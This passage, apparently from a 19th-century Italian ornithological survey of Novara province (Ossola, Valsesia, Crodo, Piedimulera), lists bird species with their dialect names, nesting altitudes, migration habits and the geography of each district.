Nidifica sugli alti monti nei boschi di faggi; emigra; ne rimangono anche d'inverno. **Turdus iliacus**, *Zipp*, *Zippar*. Giunge di passo autunnale: non so se abbia nidificato sui nostri monti; emigra. **Turdus musicus**, *Dòrd*. Nidifica nei nostri monti fin circa i 1400 e 1500 metri di altitudine; emigra. Turdus viscivorus, Dresch. Nidifica al piano e sui monti; lo ho trovato nidificante sin oltre i 2000 metri di altitudine; emigra. Aëdon Luscinia, Roussignêul, Roussignêu. Giunge in aprile; nidifica; riparte in settembre. Erithacus Rubecula, Pett-rouss, Pettarouss. Giunge in aprile; nidifica; riparte in sett.; alcuni rimangono l’inverno. Cyanecula Wolfi. Compare accidentalmente in maggio; sono di tre soli esemplari catturati nell’Ossola; sono tre maschi adulti; due si conservano nel Museo Galletti a Domodossola. Ruticilla Phœnicurus, Covarôss, Coñvaroûs. Comune, nidifica di preferenza ai monti; non sale oltre i 1200 metri; emigra; alcuni rimangono durante l’inverno. Ruticilla titys, Covarôss d’montagna. Comune; nidifica sugli alti monti sin oltre i 2000 metri; emigra; pochi se ne trovano l’inverno. Pratincola Rubicola, Morêu, Moreâl, Scimarêul. Abita e nidifica di preferenza sugli alti monti; emigra; alcuni pochi rimangono d’inverno. Pratincola Rubetra, Morêu, Moreâl, Scimarêul. Meno comune della specie precedente con la quale viene generalmente confuso. Monachus Atricapillus, Capnegàr. Giunge in aprile; nidifica al monte ed al piano; emigra. Monachus hortensis, Pizzafigh, Beccafigh. Giunge in aprile; nidifica al monte ed al piano; vedesi numeroso in settembre; emigra. Phylloscopus sibilator, Tuin, Tui. Giunge in aprile; nidifica al monte ed al piano; non è abbondante come la specie precedente; emigra. Phylloscopus Trochilus, Tuin, Tui. Giunge in aprile; nidifica al monte ed al piano; meno comune della specie precedente; emigra. Troglodytes parvulus, Re di scès, Rè-rè. Nidifica al piano e di preferenza ai monti, ove lo ho trovato sin oltre i 2000 metri; alcuni rimangono d’inverno. Cinclus aquaticus, Fôlar, Merlo d’acqua, Merlo acquirèu. Nidifica lungo i torrenti montani; d’estate lo si rinviene sino a 2500 metri; scende al piano in autunno. Accentor collaris, Passra d’montagna, Franguel d’montagna. Abita e nidifica sulle vette; nei rigidi inverni scende talvolta al piano. Regulus cristatus, Stellin, Usell ad la Madona. Nidifica ai monti; se ne trovano nel tardo autunno e d’inverno. Regulus ignicapillus, Stellin, Usell ad la Madona. Nidifica ai monti; se ne trovano nel tardo autunno; è confuso con la specie precedente. Acredula caudata, Côva longa, Parasciolina. Abita le foreste di pini; non è comune; scende al piano nell’inverno. Acredula rosea, Côva longa, Parasciolina. Assai più comune della precedente; nidifica anche al piano; vive in branchi; credo sia specie sedentaria; va confuso con la specie precedente. Parus major, Parusciola, Perusciola. Comune; nidifica al piano ed ai monti; molte ne giungono di passo; se ne trovano anche d’inverno. Parus ater, Paruscioletta, Perusciolina. Abita e nidifica ai monti; scende al piano; è meno comune della specie precedente; se ne trovano anche nell’inverno. Cyanistes caeruleus, Monighina. Comune al monte ed al piano; abbastanza frequente anche d’inverno; forse sedentaria. Poecile borealis. Rara assai; ebbi un solo esemplare a preparare. Lophophanes cristatus, Paruscioletta d’montagna. Non può dirsi comune, ma nemmeno rara; abita e nidifica nei boschi di pini; raramente la si incontra al piano, anche nell’inverno. Sitta caesia, Pich-togu, Piccasciett, Pich muradòur. Comune, di preferenza sui monti che non al piano, non sale però molto in alto; frequente al piano nell’inverno ed autunno; credo sia stazionario. Certhia familiaris, Rampighin. Comune al monte ed al piano; sedentario. Certhia brachydactyla, Rampighin. È confusa con la specie precedente; è più comune al piano meno ai monti; sedentaria. Tichodroma muraria, Uscell’ dal frecc, Piccascin d’montagna. Non è comune; abita e nidifica sui monti; l’ho osservato tra i 1500 ed i 1800 m. d’altezza; nell’inverno se ne vedono al piano e fino nei paesi sui campanili e le torri. Oriolus Galbula, Galbè, Merlo Gallè. Giunge in maggio e nidifica; non è comune; riparte in settembre. Lanius Excubitor, Stragazza molinara, Stragazzon. Giunge d’autunno ed in primavera; non è comune; non mi risulta che nidifichi nell’Ossola. Lanius minor, Stragazzon. Giunge in primavera; nidifica; riparte in settembre; non è comune. Lanius Collurio, Stragazza. Giunge in primavera; più abbondante della specie precedente; nidifica; emigra. Lanius auriculatus, Stragazzon, Stragazza. Giunge in primavera; meno comune della specie precedente; nidifica; emigra. Hirundo rustica, Rondola, Rondolina. Comunissima dal marzo al settembre. Chelidon urbica, Sassareûl, Cu-bianc. Comunissimo dal marzo al settembre. Cotile rupestris, Sassareûl d’montagna. Comunissima dal marzo a settembre presso le scogliere; mai nei paesi. Nidifica. Cypselus Apus, Rondolon. Comunissimo dal marzo a settemb. Cypselus Melba, Piv, Pivi, Rondolon d’montagna. Giunge in --- 1 Il giorno 4 novembre 1878 ho veduta una rondine volare lungo i bastioni di Novara. Il giorno 25 ottobre 1882 ed il 15 ottobre 1883 ho veduto ancora alcune rondini nei dintorni di Domodossola. 2 Nel gennaio 1873, trovandomi di guarnigione a Modica (Sicilia), osservai più volte questa specie aggirarsi presso le scogliere dei dintorni, e potei assicurarmi che passavano la notte entro le grotte numerosissime in quel luogo. 3 Noto che mentre nell’Ossola il C. Melba non si rinviene che assai in alto sui monti, ad Omegna, circondario di Pallanza, nidifica sul maggio; abita e nidifica sulle scogliere nei monti; l’ho trovato nidificante ad oltre 2000 metri. **Caprimulgus europaeus**, *Nocciola*. Giunge in maggio; non è comune; nidifica; parte in settembre. **Dryocopus martius**,¹ *Pich nèyar, Pich d’montagna*. Non è tanto comune; abita e nidifica nei boschi di conifere; non sale oltre i 1500 metri; sedentario. **Picus major**, *Pich roûss, Pich cul roûss*. Abbastanza comune; abita e nidifica di preferenza sui monti, ma non sale tanto in alto; sedentario. **Picus minor**, *Piccaschin d’montagna, Piccascett*. Piuttosto raro; abita le foreste di pini; raramente scende al piano; sedentario. **Gecinus viridis**, *Picch, Piccase, Pich vert*. Comune al piano ed al monte sale circa ai 1000 metri; sedentario. **lynx Torquilla**, *Stortacoll*. Giunge alla fine di marzo; nidifica; riparte in ottobre; abita il piano ed il monte. **Cuculus canorus**, *Cu-cú*. Giunge in maggio; riparte in settembre. So di Cuculi che hanno deposto uova in nidi di Codirossi spazzacamini a 2000 metri di altitudine. **Alcedo Ispida**, *Martii pescador, Piombin, Serena*. Non è raro; nidifica; non sale molto in alto lungo i torrenti montani. Lo credo specie sedentaria o di migrazione limitatissima. **Coracias Garrula**. In 30 anni so di due individui presi nell’Ossola. **Merops Apiaster**. In 30 anni so di due soli individui presi nell’Ossola. (Un maschio ed una femmina adulti, presi in primavera). **Upupa Epopis**, *Buba, Bubbola, Puppola*. Giunge in aprile; nidifica; riparte in settembre. campanile di quella parrocchiale, ove ogni anno se ne osservano alcuni branchi. ¹ Il 6 giugno 1885, il 19 giugno 1896, il 21 giugno 1884 ebbi giovani *Dryocopus* già atti al volo. Ne ho spesso allevati. Nei nidiacei si distinguono digià i maschi dalle femmine. Notai che in essi l’occhio è scuro invece che giallo chiaro come negli adulti. Strix flammea, Dama, Bella donna. Il sig. dott. cav. Pertusini assicura d'aver veduti i nidiaceti di questa specie. Non avendo simili osservazioni credo sia rara nell'Ossola. Syrnium Aluco, Olôch, Oloûch, Lolôch. Comune. Ebbi adulti di questa specie nel dicembre e gennaio; sedentario; abita di preferenza il monte. Asio Otus, Dug pisenin, Scvetton. Meno comune della specie precedente. Sono convinto emigri, non avendone mai veduti nell'inverno. Asio accipitrinus, Scvetton. Giunge di passo. Non mi consta nidifichi; raro. Athene Noctua, Scvetta, Scivetta, Svetta. Rara nell'Ossola superiore; comune nell'Ossola inferiore. Scops Giu, Cioûc, Sciscieûl. Giunge in maggio; nidifica; riparte in ottobre; abbastanza comune. Bubo maximus, Dugo, Dug, Gran Dug, Dus. Abbastanza comune; nidifica; sale sui monti sino ai 2000 metri. Credo sia sedentario. Circus aeruginosus, Falchett. Raro. Un solo esemplare ne conservo nella raccolta ornitologica ossolana. Circus cyaneus, Falchett. Rara. Due esemplari ne conservo nella raccolta ossolana. Aquila Chrysaëtus, Aquila. Nidifica. Credo poter asserire che nel dicembre compie limitate emigrazioni. Buteo vulgaris, Pojana, Eula, Pojanon. Comune; nidifica; sedentaria. Pernis apivorus, Falchett. Pochi giungono di passo. Non so se nidifichi. Hypotriorchis Subbuteo, Falchett. Pochi giungono di passo. Non so se nidifichi nell'Ossola. Æsalon regulus, Falchett. Pochi giungono di passo. Non so se nidifichi. Cerchneis Tinnunculus, Falchett. Comune e sedentario. Cerchneis vespertinus, Falchett. Alcuni giungono di passo. Astur palumbarius, Falchett. Conosco una sola cattura. È una femmina adulta presa sulla vetta del monte Moro, a 3000 metri di altitudine. Accipiter Nisus, Falchett. Meno comune del Gheppio, ma nidificante. Pelecanus Onocrotalus. Accidentale. Phalacrocorax Carbo. Accidentale. Ardea cinerea, Airon, Sgolgia. Alcune coppie giungono di passo in maggio. Non mi consta abbia nidificato. Ardea purpurea, Airon, Sgolgia. Alcune coppie giungono di passo in maggio. Nel maggio 1876 ebbi due nidiacei; credo però si tratti di un caso isolato. Ardetta minuta, Sgolgin. Non è comune; nidifica ogni anno. Ciconia alba, Cicogna. Quasi ogni anno se ne vedono alcune nel maggio. Anas Boscas, Anida selvadiga. Non è comune; giunge di passo. Quasi ogni anno alcune coppie nidificano. Columba Palumbus, Pivion selvadigh. Giungono in maggio; non sono comuni; alcuni nidificano. Perdix saxatilis, Purnis, Pernis. Comune, sedentaria. Starna Perdix, Parnigon, Pernisetta, Starna. Comune nella bassa Ossola; rarissima nell’Ossola superiore. Coturnix communis, Quaja. Giunge in maggio; nidifica anche sugli altipiani sin oltre i 1000 metri: riparte in settembre. Lyrurus Tetrix, Fasan (il maschio), Fasanella (la femmina). Comune e sedentario; diventa ogni anno però più scarso (Pertusi). Lagopus mutus, Francolin, Sberna, Alberna. Comune e sedentario. Rallus aquaticus, Grugnett. Non comune; alcune coppie nidificano; emigra. Ortygometra Porzana, Gilardina. Non comune; alcune coppie nidificano; emigra. Crex pratensis, Re di quaj. Giunge in maggio; nidifica; riparte in settembre. Gallinula chloropus, Gallinetta d’acqua. Non comune: non mi consta abbia nidificato. Fulica atra, Foluca. Non comune; non mi consta abbia nidificato. Grus communis. Accidentale. Cèdcnemus scolopax. Un solo esemplare ne ho veduto; preso in giugno. Cursorius gallicus. Accidentale. Charadrius Pluvialis. Accidentale. Vanellus Capella, Vannett, Pavonzina. Piuttosto rara, di passo. Machetes Pugnax. Accidentale. Tringoïdes Hypoleucus. Non comune; nidifica (Pertusi). Scolopax Rusticula, Gallinascia, Beccascia. Giunge in marzo ed in ottobre; si conoscono pochi casi dell'avvenuta nidificazione di questa specie nell'Ossola. Gallinago caelestis, Sgneppa. Giunge in marzo ed in ottobre; non mi consta abbia nidificato. Gallinago Gallinula, Sgneppin. Giunge in marzo ed in ottobre; non mi consta abbia nidificato. Numenius Arquata. Accidentale. Sterna fluviatilis. Qualche rara volta è comparsa. Hydrochelidon hybrida. Qualche rara volta venne osservato. Podiceps fluviatilis, Foûlireûf, Sottacquin. Nidifica, ma non è comune; lo credo sedentario. Novara, distretti di Varallo, Piedimulera e Crodo (Rodino, cav. Giuseppe, Guarinoni Giov. Andrea, Danisi Vito, Demori Giuseppe): Premesso che gli osservatori dei distretti forestali di Varallo, Piedimulera e Crodo hanno descritto i circondari ove la loro inchiesta ornitologica ebbe luogo, darò soltanto alcune notizie riguardanti l'intera provincia, di cui i distretti medesimi fanno parte. La provincia di Novara confina a E. con quella di Milano, e col territorio della Confederazione Elvetica; a S. colle province di Alessandria e di Pavia; a O. e N. con quella di Torino. In essa sono compresi i circondari amministrativi di Vercelli, Biella, Valsesia, Ossola, Pallanza e Novara. Varia è la costituzione topografica della parte della provincia a cui si riferiscono le osservazioni della inchiesta ornitologica, racchiudendo essa una estesa pianura coltivata a cereali, ortaglie e prati, alternati da piantagioni di gelsi, pioppi, ontani e salici; svariate colline popolate di vigneti e boschi cedui di quercia, misti con altre specie legnose. Man mano che si sale in montagna, riscontransi castagni fruttiferi e boschi cedui della medesima specie, misti con qualche ceppaia di faggio. — Segue poi scia la coltura del faggio predominante, e misto con abeti e pini silvestri. — Più in alto crescono gli abeti rossi e finalmente i larici fino all'elevazione di circa 2000 metri sul livello del mare. Nella regione si ha adunque una terra coronata da altissime alpi e da monti, ancora ammantati di ricche foreste e pascoli naturali, che scendono in amene e deliziose colline popolate di boschi cedui e di ridenti vigneti; ubertose e feconde pianure provvedute di ampie valli con verdi prati, campi, orti e giardini. — Temperatura varia, dalla mite, rallegrata da acque di laghi, fiumi e copiosi torrenti, alla rigida causata da eterni ghiacciai. Tutto ciò può dare asilo e ricetto ad un considerevole numero di uccelli, di specie diverse, delle quali nel seguente elenco sono indicate quelle note agli osservatori. (Rodino). Le mie osservazioni ornitiche si restrinsero alla Valsesia, piccola regione alpestre sul versante meridionale delle Alpi Pennine a cui è collegata per il gruppo del Monte Rosa, posta sotto 45° 49' di latitudine N. e 4° 11' di longitudine O. dal meridiano di Roma. È circoscritta, da tre parti da catene montuose che si diramano dal Monte Rosa, e dalla quarta dalla pianura Novarese e Vercellese. Confina, colla Valstrona e il Lago d'Orta ad E., per mezzo di una catena montuosa che si eleva da 400 metri sul livello del mare e raggiunge i confini al nord con un'elevazione di metri 2500; a N. colla Vallanzasca ossolana a mezzo di catena montuosa che mantenendo un'elevazione media di metri 2500 sul livello del mare, va a congiungersi col Monte Rosa; ad O. colla Valle di Gressoney e Valstrona Biellese a mezzo d'altra catena che partendo dal Monte Rosa cioè da 3000 e più metri sul livello del mare si dirige verso il piano Vercellese; a S. con la pianura Vercellese e Novarese. Entro siffatti limiti, la catena montuosa nordica protende nel senso della lunghezza della Valsesia due principali diramazioni dando luogo a tre valli, l'una percorsa dal fiume Sesia che scaturisce dalle falde nevose del Monte Rosa e forma il bacino principale lungo circa chilometri 50; la seconda percorsa dal torrente Sormenza che dopo un percorso di 26 chilometri, scendendo dai valloni di Rima e del Carcofaro, si getta nel Sesia; la terza percorsa dal torrente Mastallone che scendendo dal laghetto d'Euga, dopo un percorso di 25 chilometri, ingrossato da numerosi torrentelli, si getta esso pure nel Sesia. Le altre catene ad E. ed a O. hanno numerosissime diramazioni, cosicché numerosissime sono le valli secondarie ed i sub-bacini che confluiscono nel Sesia e nel Mastallone diretti da E. a O. e da O. ad E. Ne consegue che i terreni che occupano il piano della valle, tenuti a campi ed a prati, non arrivano a 12000 ettari nella superficie complessiva del distretto di ettari 76,446. Per oltre 12,000 ettari la superficie è montuosa, occupata da boschi, pascoli, rocce e ghiacciai. In tante e sì svariate condizioni del suolo che forniscono diversi aspetti di clima e di vegetazione, la Valsesia offre all'ornitologo lo studio di un gran numero di specie d'uccelli che sogliono in essa fermare loro stanza. Le immigrazioni in Valsesia d'oltr'Alpe non si verificano su gran scala. E la ragione n'è la disposizione delle catene montuose, l'elevatezza dei monti con ripido declivio e la direzione della Valle rispetto al continente italico di cui fa parte. Le specie che più compaiono di passaggio nell'interno della Valsesia, sono quelle a robusto e sostenuto volo, cioè tali che possono sorvolare ad un'altezza di metri 1000 almeno sul livello del fiume Sesia. Su questo argomento per formulare dati precisi converrebbe venissero messe in opera contemporaneamente lungo la Valsesia, cioè da S. a N. ed in tre distinti posti i più adatti, tre uccellande a roccolo, collocate: la prima a 360 metri sul livello del mare, la seconda a 1200, la terza a 2000 od anche 2200. (Guarinoni). Il distretto forestale di Piedimulera è costituito da tre principali valli: Anzasca, Ossola inferiore e Strona, quest'ultima divisa dalle prime da una catena di monti. È percorso da tre principali corsi d'acqua: l'Anza che l'attraversa da O. ad E., il Toce dal N. al S., e la Strona da O. N. O. ad E. S. E; il primo e l'ultimo scriccano nel Toce e questo nel Lago Maggiore. Può quindi considerarsi, oltre lo sfogo delle valli, come chiuso in un bacino delimitato da ogni parte da monti, e cioè ad E. dalla catena delle Alpi Lepontine, ad O. dal versante destro della Strona inferiore, a N. dal versante sinistro dell'Anza o del Toce, e al S. dal versante sinistro della catena dei monti che staccandosi dal Rosa e avanzandosi verso E. divide la Valsesia dalle valli dell'Anzasca e della Strona. Delle tre predette valli la più importante è quella dell'Ossola inferiore; sia per l'ampiezza rispetto alle altre due, sia perchè è quella che offre maggior campo d'osservazioni, fermandosi qui vi la maggior parte degli uccelli noti nel distretto, mentre nelle altre due non si vedono che poche specie, gran parte note pure nella prima, e quelle che amano gli alti monti. Il piano di dette valli è coltivato in parte, che è la maggiore, a prato semplice od arborato, in parte a campo ove si semina granturco, segala, panico, fagiuloni, patate ecc., consociatovi pure la coltivazione della vite; e in parte a bosco. I versanti invece delle due catene di monti in basso sono coperti in gran parte da castagneti fruttiferi commisti ad altre piante, con piccoli tratti intermezzati di terreni coltivati; più sopra sono boschi, per lo più cedui, di faggio, rovere, ontano bianco, nocciolo, sorbo, tiglio ecc. e in alto sono i pascoli alpestri con pochi cespugli. Lo stesso può dirsi delle altre due vallate, ma nell'Anzasca è maggiore la quantità di conifere: abete rosso e bianco e larice, mentre le colture sono più ristrette. (Danisi). Il distretto di osservazione non è che quello forestale di Crodo il quale abbraccia le principali vallate Antigorio, Devero, Formazza, Dell'Impossibile, Diveria e Cariasca comprendendo i comuni di Formazza, Salecchio, Agaro, Premia, Baceno, Cravegna, Vicena, Mozzio, Crodo, Montecrestese, Crevoladossola, Varzo, Trasquera. Le maggiori osservazioni però vertono in modo speciale sulla Val Antigorio, quindi la Val di Devero e la Valle Formazza, vallate queste che aperte a mezzogiorno vanno a mettere verso N. in mezzo a ghiacciai e trovansi fra due strette file di erte ed alte montagne; vuoi imboschite di conifere, vuoi nude di vegetazione null'altro mostrando che viva roccia a base granitica, vuoi con qualche pascolo più o meno fertile e su nelle alture, dove pure si riscontra qualche stagno d'acqua più o meno esteso, e che talvolta non a torto si merita il nome di piccolo lago. (Demori). Elenco generale delle specie di uccelli osservate nella provincia di Novara, distretti di Varallo (Valsesia), di Crodo e di Piedimulera, coi nomi volgari locali. Corvus Corax, Crovase, Cornac, Scurbat, Cheurv, Courv, Croass. Corvus Corone, Crouas neigro. Corvus Cornix, Scurbat, Cornass bartone, Cheurv, Cornagia, Cornagia molinara. Corvus frugilegus, Scorbat, Cheurv, Quaquà, Cruasc. Lycos Monedula, Ciauva, Cournagia. Nucifraga Caryocatactes, Nicciolera, Gaggia nicciolera, Rompanos. Pica rustica, Pica, Berta, Checa, Gagia. Garrulus glandarius, Gazza, Gagia, Berta, Gasgia, Berta rossa, Gaza roussa. Pyrrhocorax alpinus, Pagion, Pigion, Cola. Pyrrhocorax Graculus, Cola. Sturnus vulgaris, Stournel, Stornell, Stornin, Stornin de tor. Fringilla cœlebs, Frangoul, Fringuell, Franguel, Cinciuin, Ciui-cin. Fringilla Montifringilla, Franguel montan (Vigezzo), Franguel montagnon, Montan. Montifringilla nivalis, Franguel di al bianch, Franguel dla nev, Frecc. Passer montanus, Passerin, Passarot, Passaron d' montagna, Zip, Passarinot. Passer Italiæ, Passarot, Passra, Passarin, Passeroton, Passerot colombera. Passer domesticus. Si vede di passaggio in ottobre; rara. Coccothraustes vulgaris, Frisoun, Frison. Ligurinus Chloris, Verdoun, Amulot, Amolott, Verdogn. Chloroptila Citrinella, Pinin, Verdolin, Canarin d' montagna. Chrysomitris Spinus, Legaurin, Rigulin, Rigorin, Regorin, Onicerecc. Carduelis elegans, Cardelit, Ravanin, Ravanit, Ravarin, Lavarin. Serinus hortulanus, Regorin. Cannabina Linota, Monten, Brunel, Cicic, Fanin. Ægiothus rufescens, Fanin bastard, Fanin, Fanin dla Rgina. Pyrrhula europæa, Buvreul, Cifulot, Subiot, Zufolott, Zifolott. Loxia Curvirostra, Bech in crous. Miliaria Projer. Emberiza Citrinella, Spaiarda, Spaiarda gialla, Spaiard, Squaiard, Maiarda giauna. Emberiza Cirlus, Zii, Zip-zip, Maiarda neigra. Emberiza Hortulana, Ortolan. Emberiza Cia, Vinaccina, Spaiarda grisa. Emberiza pusilla. Accidentale in Val Vigezzo. Emberiza Schoeniclus, Psi-psi. Calcarius nivalis. Melanocorypha Calandra. Alauda arborea, Lodola, Lodi. Alauda arvensis, Lnina, Lodoula, Lodula, Turlo, Lodoula de camp. Galerita cristata, Calandra, Lodoula del ciuf. Anthus pratensis, Lodula d' montagna, Guzetta, Sguissetta, Dondina. Anthus trivialis, Tordina, Vina, Dordina, Sguissetta, Dondina. Anthus Spipoletta, Svit-svit. Budytes flavus, Piss, Balarina, Ballerina, Vaccherina. Motacilla alba, Balarina, Tremacua, Quattroecchi, Cio, Tremacua del cap neigro. Calobates melanope, Ballarina gialda, Tremacouva, Tremacua giana. Saxicola Oenanthe, Culbianch, Cic-ciac d' montagna, Coubianch, Ousel dii sass, Steinvogel, Carcatepe. Monticola saxatilis, Couva rouss, Couva rousson, Merl rouss. Monticola Cyanus, Passra solitaria, Passra salutaria. Merula nigra, Merlo, Merl, Merl negher. Merula torquata, Merla du cullarit, Merl d' montagna, Merl del stomich bianch, Margon. Turdus pilaris, Viscarda, Calandra, Griva. Turdus iliacus, Durt, Dourt, Sipa. Turdus musicus, Torod, Durt, Dort. Turdus viscivorus, Dresch. Aëdon Luscinia, Roussgneul, Rusignol, Rossigneu. Erithacus Rubecula, Pettarouss, Pettirouss, Picciorouss, Martinet, Magonèt, Martineu. Cyanecula Wolfi, Gorzbleu. Ruticilla Phoenicurus, Couarouss, Farciola d' montagna, Couarouss meanè, Couaroussa cita. Ruticilla titys, Couarouss d' montagna, Farciola, Magnan, Fournareu. Pratincola Rubicola, Scimareul, Ousel dii sass, Sassareu. Pratincola Rubetra, Scimareul, Sassareu. Sylvia Curruca. Monachus Atricapillus, Capnegar, Capnèar, Capenera, Capnegar, Capneigro. Monachus hortensis, Beccafch. Phylloscopus sibilator, Tuit, Zuit, Ciuit verdogn. Phylloscopus Trochilus, Piuxi, Tuit, Zuit, Ciuit giaun. Phylloscopus rufus, Piuxi, Tuit, Zuit, Ciuit. Hypolais icterina. Troglodytes parvulus, Re di beucc, Re-re, Bo-gros, Re di usei, Sauta-beucc, Reatel. Cinclus aquaticus, Foular, Merlo d'eva, Merl pescadour. Accentor collaris, Frison d' montagna, Mutuna, Stornin. Accentor modularis, Usel d'jeux coulour ciel, Taragnueul, Morat. Regulus cristatus, Stelin, Uslin del testin giald, Ugion, Centrub, Giavani, Usel dla Madona. Regulus ignicapillus, Ugion, Centrub, Giavani. Acredula rosea, Coua lunga, Parousciola dla coua lunga, Pampua. Parus major, Parousciola gialda, Parousciola, Parousciola grossa. Parus ater, Parousciolin, Trentarola, Cavaloughia, Parousciolina. Cyanistes caeruleus, Monighina, Parousciola celesta, Monighetta, Parousciola molinera, Parousciola quarantina. Pœcile palustris, Parousciolina, Parousciola grisa, Parousciolin. Lophophanes cristatus, Parousciola dal ciuf, Parousciola, Parousciola del capuss. Sitta cæsia, Piccascet, Pichin, Pichet, Piguset, Pichet pantoulon, Gring, Picascin. Certhia familiaris, Rampighin, Rampighett, Pichet d'la rusca. Certhia brachydactyla, Rampighin. Tichodroma muraria, Piccoscin, Picascin, Pich di mur, Gratasass. Oriolus Galbula, Merlo garbel. Ampelis Garrulus, Frison di fiochet. Lanius Excubitor, Stragazzon, Stragazza grossa, Stragazza, Stragazza molinera. Lanius minor, Stragazzon, Stragazza grisa. Lanius Collurio, Stragazza, Stragazza cita. Lanius auriculatus, Stragazza. Muscicapa collaris, Batiale, Ciapamusch. Muscicapa Atricapilla, Batiale. Hirundo rustica, Rondola, Roundula, Roundolina. Chelidon urbica, Cubianch, Sassarieul, Sassareul, Rondon del cul bianch, Dardanet, Roundon sassareu. Cotile rupestris, Sassareul d' montagna. Cypselus Apus, Roundolon negher, Rondolon. Cypselus Melba, Rondolon d' montagna. Caprimulgus europaeus, Tettavacc, Nociola, Caraciatri, Neucciola. Dryocopus martius, Pich-negar, Pich-nejar, Picase-negar, Pich neigro. Picus major, Pich-rouss, Picasc-rouss, Pich del cul rouss, Pich brace. Picus medius, Pich-rouss-mezzan. Picus minor, Picaset, Pichin, Pich rouss cito, Pigazet, Pichet fiouvâ. Gecinus viridis, Pich-vert, Picasc, Picase-vert. Gecinus canus, Picascitt. Ilynx Torquilla, Stortacol, Stortacheul, Becaformig, Storzacheul. Cuculus canorus, Cucù, Cucò. Alcedo ispida, Serena, Martin pescador, Peseamartin. Coracias Garrula, Gagia marina. Upupa Epop, Pupa, Buba, Puppla, Upa. Strix flammnea, Dama, Craver, Ciavareul. Syrnium Aluco, Olouch, Luluch, Cul da ja jeui, Aloch, Loloch, Louluch. Asio Otus, Seveton, Cul da ja jeui, Olouch di bosch, Oolouch. Asio accipitrinus, Seveton. Athene Noctua, Scivetta, Sciuveta, Scieta. Scops Giu, Sciuscieul, Ciouch. Bubo maximus, Grandug, Bouv; Grànduch. Circus aeruginosus, Falchett. Circus cyaneus, Falchett. Aquila Chrysaëtus, Stur, Aquila. Buteo vulgaris, Fula, Poiana, Rattouner, Nibi, Palaccia. Pernis apivorus, Falchett. Milvus Ictinus, Nibiu. Hypotriorchis Subbuteo, Falchett. Æsalon regulus, Falchettin. Cerchneis Tinnunculus, Falchett d' oselitt, Falcheton, Falchetasc. Cerchneis Naumanni, Falchett. Astur palumbarius. Accipiter Nisus, Falchett. Ardea cinerea, Sgorza. Anas Boscas, Anitra salvadiga, Anefra salvaiga. Spatula clypeata. Querquedula Circia, Garganel. Columba Palumbus, Pivion salvadig, Pavion salvadi, Favas, Pivion salvadigo gross. Columba Oenas. Turtur tenera, Tourtoura salvadiga, Tourtula selvadig. Perdix saxatilis, Pernis, Parnigia, Pernis-roussa. Starna Perdix, Pernis, Starna. Coturnix communis, Quaia. Tetrao Urogallus, Gall d' montagna. Lyrurus Tetrix, Fasan, Fagian, Fasanella, Fasen. Bonasa betulina. Lagopus mutus, Francolin, Culmastur, Francoulinn, Berna. Crex pratensis, Re di quai. Ædicnemus scolopax. Cursorius gallicus. Charadrius Pluvialis. Vanellus Capella, Paoncel. Totanus Ochropus, Culbianch, Più-più. Scolopax Rusticula, Becaccia, Becassa, Galinassa, Gallinasc. Gallinago caelestis, Becacin, Becassin. Gallinago Gallinula, Frulin, Becasin cito, Sneppin. Sternula minuta, Sgarrin. Hydrochelidon nigra, Sgarrin. Nel distretto forestale di Varallo, che si estende a tutto il circondario amministrativo di Valsesia, rimangono tutto l'anno nelle medesime località le specie seguenti: Corvus Corax. Passer Italiæ. Nucifraga Caryocatactes. Merula torquata. Montifringilla nivalis. Dryocopus martius. Perdix saxatilis. Starna Perdix. Lyrurus Tetrix. Lagopus mutus. Nel distretto forestale di Crodo, costituito dei comuni del mandamento omonimo e di parte di quello di Domodossola, sono stazionarie le specie seguenti: Nucifraga Caryocatactes. Montifringilla nivalis. Loxia Curvirostra. Pyrrhula europaea. Merula torquata. Dryocopus martius. Syrnium Aluco. Athene Noctua. Bubo maximus. Cerchneis Tinnunculus. Buteo vulgaris. Perdix saxatilis. Lyrurus Tetrix. Lagopus mutus. Nel distretto forestale di Piedimulera, costituito di comuni appartenenti ai due circondari amministrativi di Domodossola e Pallanza, sono sedentarie le seguenti specie: Corvus Corax. Lycos Monedula. Nucifraga Caryocatactes. Pica rustica. Pyrrhocorax alpinus. Fringilla Montifringilla. Montifringilla nivalis. Passer Italiæ. Coccothraustes vulgaris. Ligurinus Chloris. Cloroptila Citrinella. Cannabina Linota. Loxia Curvirostra. Emberiza Schœniclus. Alauda arborea. Alauda arvensis. Galerita cristata. Turdus viscivorus. Cinclus aquaticus. Accentor collaris. Dryocopus martius. Alcedo Ispida. Strix flammea. Athene Noctua. Bubo maximus. Aquila Chrysaëtus. Perdix saxatilis. Lyrurus Tetrix. Bonasa betulina. Nei distretti anzi indicati sono erratiche, cioè cangiano col variare della stagione il loro luogo di dimora le specie seguenti: **Distretto di Varallo.** | Corvus Corone. | Troglodytes parvulus. | | Corvus Cornix. | Cinclus aquaticus. | | Garrulus glandarius. | Accentor collaris. | | Pyrrhocorax alpinus. | Accentor modularis. | | Pyrrhocorax Graculus. | Regulus cristatus. | | Fringilla cœlebs. | Parus major. | | Fringilla Montifringilla. | Cyanistes cæruleus. | | Coccothraustes vulgaris. | Pœcile palustris. | | Ligurinus Chloris. | Sitta cæsia. | | Carduelis elegans. | Certhia familiaris. | | Pyrrhula europæa. | Tichodroma muraria. | | Emberiza Citrinella. | Picus major. | | Motacilla alba. | Picus medius. | | Calobates melanope. | Picus minor. | | Monticola Cyanus. | Gecinus viridis. | | Turdus viscivorus. | Alcedo Ispida. | | Erithacus Rubecula. | **Distretto di Crodo.** | Corvus frugilegus. | Anthus Spipoletta. | | Lycos Monedula. | Monticola Cyanus. | | Garrulus glandarius. | Merula nigra. | | Pyrrhocorax alpinus. | Turdus musicus. | | Passer montanus. | Turdus viscivorus. | | Passer Italiæ. | Erithacus Rubecula. | | Chrysomitris Spinus. | Ruticilla Phœnicurus. | | Carduelis elegans. | Ruticilla titys. | | Emberiza Citrinella. | Pratincola Rubicola. | | Emberiza Cia. | Phylloscopus sibilator. | | Calcarius nivalis. | Phylloscopus Trochilus. | Troglodytes parvulus. Certhia familiaris. Cinclus aquaticus. Certhia brachydactyla. Acredula rosea. Tichodroma muraria. Parus major. Picus minor. Parus ater. Gecinus viridis. Cyanistes caeruleus. Gecinus canus. Lophophanes cristatus. Asio Otus. Sitta cæsia. Milvus Ictinus. Distretto di Piedimulera. Corvus frugilegus. Erithacus Rubecula. Sturnus vulgaris. Ruticilla titys. Fringilla coelebs. Monachus Atricapillus. Passer montanus. Troglodytes parvulus. Chrysomitris Spinus. Acredula rosea. Carduelis elegans. Cyanistes caeruleus. Cannabina Linota. Sitta cæsia. Pyrrhula europæa. Certhia brachydactyla. Loxia Curvirostra. Lanius 